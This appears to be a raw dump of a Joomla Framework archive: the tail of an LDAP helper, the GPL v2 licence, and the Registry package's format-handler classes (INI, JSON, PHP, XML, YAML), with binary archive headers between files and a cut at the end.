$addrtype = (int) substr($networkaddress, 0, 1);
// Throw away bytes 0 and 1 which should be the addrtype and the
"#" separator
$networkaddress = substr($networkaddress, 2);
if (($addrtype == 8) || ($addrtype = 9))
{
// TODO 1.6: If UDP or TCP, (TODO fill addrport and) strip portnumber
information from address
$networkaddress = substr($networkaddress, (\strlen($networkaddress) -
4));
}
$addrtypes = array(
'IPX',
'IP',
'SDLC',
'Token Ring',
'OSI',
'AppleTalk',
'NetBEUI',
'Socket',
'UDP',
'TCP',
'UDP6',
'TCP6',
'Reserved (12)',
'URL',
'Count',
);
$len = \strlen($networkaddress);
if ($len > 0)
{
for ($i = 0; $i < $len; $i++)
{
$byte = substr($networkaddress, $i, 1);
$addr .= \ord($byte);
if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9))
{
// Dot separate IP addresses...
$addr .= '.';
}
}
if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9))
{
// Strip last period from end of $addr
$addr = substr($addr, 0, \strlen($addr) - 1);
}
}
else
{
$addr .= 'Address not available.';
}
return array('protocol' => $addrtypes[$addrtype],
'address' => $addr);
}
/**
* Generates a LDAP compatible password
*
* @param string $password Clear text password to encrypt
* @param string $type Type of password hash, either md5 or SHA
*
* @return string
*
* @since 1.0
*/
public static function generatePassword($password, $type =
'md5')
{
switch (strtolower($type))
{
case 'sha':
return '{SHA}' . base64_encode(pack('H*',
sha1($password)));
case 'md5':
default:
return '{MD5}' . base64_encode(pack('H*',
md5($password)));
}
}
}
PK�[�P�E�Eregistry/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK�[g����'registry/src/AbstractRegistryFormat.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry;
/**
* Abstract Format for Registry
*
* @since 1.0
* @deprecated 2.0 Format objects should directly implement the
FormatInterface
*/
abstract class AbstractRegistryFormat implements FormatInterface
{
/**
* @var AbstractRegistryFormat[] Format instances container.
* @since 1.0
* @deprecated 2.0 Object caching will no longer be supported
*/
protected static $instances = array();
/**
* Returns a reference to a Format object, only creating it
* if it doesn't already exist.
*
* @param string $type The format to load
* @param array $options Additional options to configure the object
*
* @return AbstractRegistryFormat Registry format handler
*
* @deprecated 2.0 Use Factory::getFormat() instead
* @since 1.0
* @throws \InvalidArgumentException
*/
public static function getInstance($type, array $options = array())
{
return Factory::getFormat($type, $options);
}
}
PK�[4cvvregistry/src/Factory.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry;
/**
* Factory class to fetch Registry objects
*
* @since 1.5.0
*/
class Factory
{
/**
* Format instances container - for backward compatibility with
AbstractRegistryFormat::getInstance().
*
* @var FormatInterface[]
* @since 1.5.0
* @deprecated 2.0 Object caching will no longer be supported
*/
protected static $formatInstances = array();
/**
* Returns an AbstractRegistryFormat object, only creating it if it
doesn't already exist.
*
* @param string $type The format to load
* @param array $options Additional options to configure the object
*
* @return FormatInterface Registry format handler
*
* @since 1.5.0
* @throws \InvalidArgumentException
*/
public static function getFormat($type, array $options = array())
{
// Sanitize format type.
$type = strtolower(preg_replace('/[^A-Z0-9_]/i', '',
$type));
/*
* Only instantiate the object if it doesn't already exist.
* @deprecated 2.0 Object caching will no longer be supported, a new
instance will be returned every time
*/
if (!isset(self::$formatInstances[$type]))
{
$localNamespace = __NAMESPACE__ . '\\Format';
$namespace = isset($options['format_namespace']) ?
$options['format_namespace'] : $localNamespace;
$class = $namespace . '\\' . ucfirst($type);
if (!class_exists($class))
{
// Were we given a custom namespace? If not, there's nothing else
we can do
if ($namespace === $localNamespace)
{
throw new \InvalidArgumentException(sprintf('Unable to load
format class for type "%s".', $type), 500);
}
$class = $localNamespace . '\\' . ucfirst($type);
if (!class_exists($class))
{
throw new \InvalidArgumentException(sprintf('Unable to load
format class for type "%s".', $type), 500);
}
}
self::$formatInstances[$type] = new $class;
}
return self::$formatInstances[$type];
}
}
PKƅ�[n-L���registry/src/Format/Ini.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry\Format;
use Joomla\Registry\AbstractRegistryFormat;
use Joomla\Utilities\ArrayHelper;
use stdClass;
/**
* INI format handler for Registry.
*
* @since 1.0
*/
class Ini extends AbstractRegistryFormat
{
/**
* Default options array
*
* @var array
* @since 1.3.0
*/
protected static $options = array(
'supportArrayValues' => false,
'parseBooleanWords' => false,
'processSections' => false,
);
/**
* A cache used by stringToObject.
*
* @var array
* @since 1.0
*/
protected static $cache = array();
/**
* Converts an object into an INI formatted string
* - Unfortunately, there is no way to have ini values nested further than
two
* levels deep. Therefore we will only go through the first two levels of
* the object.
*
* @param object $object Data source object.
* @param array $options Options used by the formatter.
*
* @return string INI formatted string.
*
* @since 1.0
*/
public function objectToString($object, $options = array())
{
$options = array_merge(self::$options, $options);
$supportArrayValues = $options['supportArrayValues'];
$local = array();
$global = array();
$variables = get_object_vars($object);
$last = \count($variables);
// Assume that the first element is in section
$inSection = true;
// Iterate over the object to set the properties.
foreach ($variables as $key => $value)
{
// If the value is an object then we need to put it in a local section.
if (\is_object($value))
{
// Add an empty line if previous string wasn't in a section
if (!$inSection)
{
$local[] = '';
}
// Add the section line.
$local[] = '[' . $key . ']';
// Add the properties for this section.
foreach (get_object_vars($value) as $k => $v)
{
if (\is_array($v) && $supportArrayValues)
{
$assoc = ArrayHelper::isAssociative($v);
foreach ($v as $arrayKey => $item)
{
$arrayKey = $assoc ? $arrayKey : '';
$local[] = $k . '[' . $arrayKey . ']=' .
$this->getValueAsIni($item);
}
}
else
{
$local[] = $k . '=' . $this->getValueAsIni($v);
}
}
// Add empty line after section if it is not the last one
if (--$last !== 0)
{
$local[] = '';
}
}
elseif (\is_array($value) && $supportArrayValues)
{
$assoc = ArrayHelper::isAssociative($value);
foreach ($value as $arrayKey => $item)
{
$arrayKey = $assoc ? $arrayKey : '';
$global[] = $key . '[' . $arrayKey . ']=' .
$this->getValueAsIni($item);
}
}
else
{
// Not in a section so add the property to the global array.
$global[] = $key . '=' . $this->getValueAsIni($value);
$inSection = false;
}
}
return implode("\n", array_merge($global, $local));
}
/**
* Parse an INI formatted string and convert it into an object.
*
* @param string $data INI formatted string to convert.
* @param array $options An array of options used by the formatter,
or a boolean setting to process sections.
*
* @return object Data object.
*
* @since 1.0
*/
public function stringToObject($data, array $options = array())
{
$options = array_merge(self::$options, $options);
// Check the memory cache for already processed strings.
$hash = md5($data . ':' . (int)
$options['processSections']);
if (isset(self::$cache[$hash]))
{
return self::$cache[$hash];
}
// If no lines present just return the object.
if (empty($data))
{
return new stdClass;
}
$obj = new stdClass;
$section = false;
$array = false;
$lines = explode("\n", $data);
// Process the lines.
foreach ($lines as $line)
{
// Trim any unnecessary whitespace.
$line = trim($line);
// Ignore empty lines and comments.
if (empty($line) || ($line[0] === ';'))
{
continue;
}
if ($options['processSections'])
{
$length = \strlen($line);
// If we are processing sections and the line is a section add the
object and continue.
if ($line[0] === '[' && ($line[$length - 1] ===
']'))
{
$section = substr($line, 1, $length - 2);
$obj->$section = new stdClass;
continue;
}
}
elseif ($line[0] === '[')
{
continue;
}
// Check that an equal sign exists and is not the first character of the
line.
if (!strpos($line, '='))
{
// Maybe throw exception?
continue;
}
// Get the key and value for the line.
list($key, $value) = explode('=', $line, 2);
// If we have an array item
if (substr($key, -1) === ']' && ($openBrace =
strpos($key, '[', 1)) !== false)
{
if ($options['supportArrayValues'])
{
$array = true;
$arrayKey = substr($key, $openBrace + 1, -1);
// If we have a multi-dimensional array or malformed key
if (strpos($arrayKey, '[') !== false || strpos($arrayKey,
']') !== false)
{
// Maybe throw exception?
continue;
}
$key = substr($key, 0, $openBrace);
}
else
{
continue;
}
}
// Validate the key.
if (preg_match('/[^A-Z0-9_]/i', $key))
{
// Maybe throw exception?
continue;
}
// If the value is quoted then we assume it is a string.
$length = \strlen($value);
if ($length && ($value[0] === '"') &&
($value[$length - 1] === '"'))
{
// Strip the quotes and Convert the new line characters.
$value = stripcslashes(substr($value, 1, $length - 2));
$value = str_replace('\n', "\n", $value);
}
else
{
// If the value is not quoted, we assume it is not a string.
// If the value is 'false' assume boolean false.
if ($value === 'false')
{
$value = false;
}
elseif ($value === 'true')
{
// If the value is 'true' assume boolean true.
$value = true;
}
elseif ($options['parseBooleanWords'] &&
\in_array(strtolower($value), array('yes', 'no'),
true))
{
// If the value is 'yes' or 'no' and option is
enabled assume appropriate boolean
$value = (strtolower($value) === 'yes');
}
elseif (is_numeric($value))
{
// If the value is numeric than it is either a float or int.
// If there is a period then we assume a float.
if (strpos($value, '.') !== false)
{
$value = (float) $value;
}
else
{
$value = (int) $value;
}
}
}
// If a section is set add the key/value to the section, otherwise top
level.
if ($section)
{
if ($array)
{
if (!isset($obj->$section->$key))
{
$obj->$section->$key = array();
}
if (!empty($arrayKey))
{
$obj->$section->{$key}[$arrayKey] = $value;
}
else
{
$obj->$section->{$key}[] = $value;
}
}
else
{
$obj->$section->$key = $value;
}
}
else
{
if ($array)
{
if (!isset($obj->$key))
{
$obj->$key = array();
}
if (!empty($arrayKey))
{
$obj->{$key}[$arrayKey] = $value;
}
else
{
$obj->{$key}[] = $value;
}
}
else
{
$obj->$key = $value;
}
}
$array = false;
}
// Cache the string to save cpu cycles -- thus the world :)
self::$cache[$hash] = clone $obj;
return $obj;
}
/**
* Method to get a value in an INI format.
*
* @param mixed $value The value to convert to INI format.
*
* @return string The value in INI format.
*
* @since 1.0
*/
protected function getValueAsIni($value)
{
$string = '';
switch (\gettype($value))
{
case 'integer':
case 'double':
$string = $value;
break;
case 'boolean':
$string = $value ? 'true' : 'false';
break;
case 'string':
// Sanitize any CRLF characters..
$string = '"' . str_replace(array("\r\n",
"\n"), '\\n', $value) . '"';
break;
}
return $string;
}
}
PKƅ�[�l¼zzregistry/src/Format/Json.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry\Format;
use Joomla\Registry\AbstractRegistryFormat;
/**
* JSON format handler for Registry.
*
* @since 1.0
*/
class Json extends AbstractRegistryFormat
{
/**
* Converts an object into a JSON formatted string.
*
* @param object $object Data source object.
* @param array $options Options used by the formatter.
*
* @return string JSON formatted string.
*
* @since 1.0
*/
public function objectToString($object, $options = array())
{
$bitMask = isset($options['bitmask']) ?
$options['bitmask'] : 0;
// The depth parameter is only present as of PHP 5.5
if (version_compare(PHP_VERSION, '5.5', '>='))
{
$depth = isset($options['depth']) ?
$options['depth'] : 512;
return json_encode($object, $bitMask, $depth);
}
return json_encode($object, $bitMask);
}
/**
* Parse a JSON formatted string and convert it into an object.
*
* If the string is not in JSON format, this method will attempt to parse
it as INI format.
*
* @param string $data JSON formatted string to convert.
* @param array $options Options used by the formatter.
*
* @return object Data object.
*
* @since 1.0
* @throws \RuntimeException
*/
public function stringToObject($data, array $options =
array('processSections' => false))
{
$data = trim($data);
// Because developers are clearly not validating their data before
pushing it into a Registry, we'll do it for them
if (empty($data))
{
return new \stdClass;
}
if ($data !== '' && $data[0] !== '{')
{
return
AbstractRegistryFormat::getInstance('Ini')->stringToObject($data,
$options);
}
$decoded = json_decode($data);
// Check for an error decoding the data
if ($decoded === null && json_last_error() !== JSON_ERROR_NONE)
{
throw new \RuntimeException(sprintf('Error decoding JSON data:
%s', json_last_error_msg()));
}
return (object) $decoded;
}
}
PKƅ�[�!
registry/src/Format/Php.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry\Format;
use Joomla\Registry\AbstractRegistryFormat;
/**
* PHP class format handler for Registry
*
* @since 1.0
*/
class Php extends AbstractRegistryFormat
{
/**
* Converts an object into a php class string.
* - NOTE: Only one depth level is supported.
*
* @param object $object Data Source Object
* @param array $params Parameters used by the formatter
*
* @return string Config class formatted string
*
* @since 1.0
*/
public function objectToString($object, $params = array())
{
// A class must be provided
$class = !empty($params['class']) ? $params['class']
: 'Registry';
// Build the object variables string
$vars = '';
foreach (get_object_vars($object) as $k => $v)
{
if (is_scalar($v))
{
$vars .= "\tpublic $" . $k . " = '" .
addcslashes($v, '\\\'') . "';\n";
}
elseif (\is_array($v) || \is_object($v))
{
$vars .= "\tpublic $" . $k . ' = ' .
$this->getArrayString((array) $v) . ";\n";
}
}
$str = "<?php\n";
// If supplied, add a namespace to the class object
if (isset($params['namespace']) &&
$params['namespace'] !== '')
{
$str .= 'namespace ' . $params['namespace'] .
";\n\n";
}
$str .= 'class ' . $class . " {\n";
$str .= $vars;
$str .= '}';
// Use the closing tag if it not set to false in parameters.
if (!isset($params['closingtag']) ||
$params['closingtag'] !== false)
{
$str .= "\n?>";
}
return $str;
}
/**
* Parse a PHP class formatted string and convert it into an object.
*
* @param string $data PHP Class formatted string to convert.
* @param array $options Options used by the formatter.
*
* @return object Data object.
*
* @since 1.0
*/
public function stringToObject($data, array $options = array())
{
return new \stdClass;
}
/**
* Method to get an array as an exported string.
*
* @param array $a The array to get as a string.
*
* @return string
*
* @since 1.0
*/
protected function getArrayString($a)
{
$s = 'array(';
$i = 0;
foreach ($a as $k => $v)
{
$s .= $i ? ', ' : '';
$s .= '"' . $k . '" => ';
if (\is_array($v) || \is_object($v))
{
$s .= $this->getArrayString((array) $v);
}
else
{
$s .= '"' . addslashes($v) . '"';
}
$i++;
}
$s .= ')';
return $s;
}
}
PKƅ�[rz�]]registry/src/Format/Xml.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry\Format;
use Joomla\Registry\AbstractRegistryFormat;
use SimpleXMLElement;
use stdClass;
/**
* XML format handler for Registry.
*
* @since 1.0
*/
class Xml extends AbstractRegistryFormat
{
/**
* Converts an object into an XML formatted string.
* - If more than two levels of nested groups are necessary, since INI is
not
* useful, XML or another format should be used.
*
* @param object $object Data source object.
* @param array $options Options used by the formatter.
*
* @return string XML formatted string.
*
* @since 1.0
*/
public function objectToString($object, $options = array())
{
$rootName = isset($options['name']) ?
$options['name'] : 'registry';
$nodeName = isset($options['nodeName']) ?
$options['nodeName'] : 'node';
// Create the root node.
$root = simplexml_load_string('<' . $rootName . '
/>');
// Iterate over the object members.
$this->getXmlChildren($root, $object, $nodeName);
return $root->asXML();
}
/**
* Parse a XML formatted string and convert it into an object.
*
* @param string $data XML formatted string to convert.
* @param array $options Options used by the formatter.
*
* @return object Data object.
*
* @since 1.0
*/
public function stringToObject($data, array $options = array())
{
$obj = new stdClass;
// Parse the XML string.
$xml = simplexml_load_string($data);
foreach ($xml->children() as $node)
{
$obj->{$node['name']} = $this->getValueFromNode($node);
}
return $obj;
}
/**
* Method to get a PHP native value for a SimpleXMLElement object. --
called recursively
*
* @param object $node SimpleXMLElement object for which to get the
native value.
*
* @return mixed Native value of the SimpleXMLElement object.
*
* @since 1.0
*/
protected function getValueFromNode($node)
{
switch ($node['type'])
{
case 'integer':
$value = (string) $node;
return (int) $value;
case 'string':
return (string) $node;
case 'boolean':
$value = (string) $node;
return (bool) $value;
case 'double':
$value = (string) $node;
return (float) $value;
case 'array':
$value = array();
foreach ($node->children() as $child)
{
$value[(string) $child['name']] =
$this->getValueFromNode($child);
}
break;
default:
$value = new stdClass;
foreach ($node->children() as $child)
{
$value->{$child['name']} =
$this->getValueFromNode($child);
}
break;
}
return $value;
}
/**
* Method to build a level of the XML string -- called recursively
*
* @param SimpleXMLElement $node SimpleXMLElement object to attach
children.
* @param object $var Object that represents a node of
the XML document.
* @param string $nodeName The name to use for node
elements.
*
* @return void
*
* @since 1.0
*/
protected function getXmlChildren(SimpleXMLElement $node, $var, $nodeName)
{
// Iterate over the object members.
foreach ((array) $var as $k => $v)
{
if (is_scalar($v))
{
$n = $node->addChild($nodeName, $v);
$n->addAttribute('name', $k);
$n->addAttribute('type', \gettype($v));
}
else
{
$n = $node->addChild($nodeName);
$n->addAttribute('name', $k);
$n->addAttribute('type', \gettype($v));
$this->getXmlChildren($n, $v, $nodeName);
}
}
}
}
PKƅ�[,r؟�registry/src/Format/Yaml.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry\Format;
use Joomla\Registry\AbstractRegistryFormat;
use Symfony\Component\Yaml\Dumper as SymfonyYamlDumper;
use Symfony\Component\Yaml\Parser as SymfonyYamlParser;
/**
* YAML format handler for Registry.
*
* @since 1.0
*/
class Yaml extends AbstractRegistryFormat
{
/**
* The YAML parser class.
*
* @var \Symfony\Component\Yaml\Parser
* @since 1.0
*/
private $parser;
/**
* The YAML dumper class.
*
* @var \Symfony\Component\Yaml\Dumper
* @since 1.0
*/
private $dumper;
/**
* Construct to set up the parser and dumper
*
* @since 1.0
*/
public function __construct()
{
$this->parser = new SymfonyYamlParser;
$this->dumper = new SymfonyYamlDumper;
}
/**
* Converts an object into a YAML formatted string.
* We use json_* to convert the passed object to an array.
*
* @param object $object Data source object.
* @param array $options Options used by the formatter.
*
* @return string YAML formatted string.
*
* @since 1.0
*/
public function objectToString($object, $options = array())
{
$array = json_decode(json_encode($object), true);
return $this->dumper->dump($array, 2, 0);
}
/**
* Parse a YAML formatted string and convert it into an object.
* We use the json_* methods to convert the parsed YAML array to an
object.
*
* @param string $data YAML formatted string to convert.
* @param array $options Options used by the formatter.
*
* @return object Data object.
*
* @since 1.0
*/
public function stringToObject($data, array $options = array())
{
$array = $this->parser->parse(trim($data));
return (object) json_decode(json_encode($array));
}
}
PKƅ�[�S����
registry/src/FormatInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
